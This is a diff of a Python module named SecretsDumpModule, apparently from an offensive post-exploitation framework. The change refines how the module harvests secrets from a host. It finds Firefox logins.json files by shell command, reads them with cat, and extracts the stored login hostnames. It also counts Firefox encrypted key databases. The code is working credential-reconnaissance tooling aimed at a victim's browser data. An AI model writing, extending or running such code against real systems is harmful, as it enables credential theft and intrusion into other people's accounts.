@@ -489,21 +529,27 @@ class SecretsDumpModule(KoiModule):
|
|
|
489
529
|
result["Firefox Encrypted Keys"] = f"{len(firefox_key_files)} database(s)"
|
|
490
530
|
|
|
491
531
|
# Firefox - extract hostnames from logins.json
|
|
492
|
-
|
|
493
|
-
"find ~/.mozilla/firefox -type f -name 'logins.json' 2>/dev/null
|
|
532
|
+
logins_paths = self._try_exec(
|
|
533
|
+
"find ~/.mozilla/firefox -type f -name 'logins.json' 2>/dev/null"
|
|
494
534
|
)
|
|
495
|
-
if
|
|
535
|
+
if logins_paths:
|
|
496
536
|
hosts = set()
|
|
497
|
-
|
|
498
|
-
|
|
499
|
-
if
|
|
500
|
-
|
|
501
|
-
|
|
502
|
-
|
|
503
|
-
|
|
504
|
-
|
|
505
|
-
|
|
506
|
-
|
|
537
|
+
for lpath in logins_paths.strip().split('\n'):
|
|
538
|
+
lpath = lpath.strip()
|
|
539
|
+
if not lpath:
|
|
540
|
+
continue
|
|
541
|
+
raw = self._try_exec(f"cat {self._shell_quote(lpath)} 2>/dev/null")
|
|
542
|
+
if not raw:
|
|
543
|
+
continue
|
|
544
|
+
try:
|
|
545
|
+
data = json.loads(raw)
|
|
546
|
+
if isinstance(data, dict):
|
|
547
|
+
for login in data.get('logins', []):
|
|
548
|
+
host = login.get('hostname', '')
|
|
549
|
+
if host and not host.startswith('chrome://'):
|
|
550
|
+
hosts.add(host)
|
|
551
|
+
except (json.JSONDecodeError, ValueError):
|
|
552
|
+
pass
|
|
507
553
|
if hosts:
|
|
508
554
|
result["Firefox Stored Hosts"] = ", ".join(sorted(list(hosts))[:15])
|
|
509
555
|
|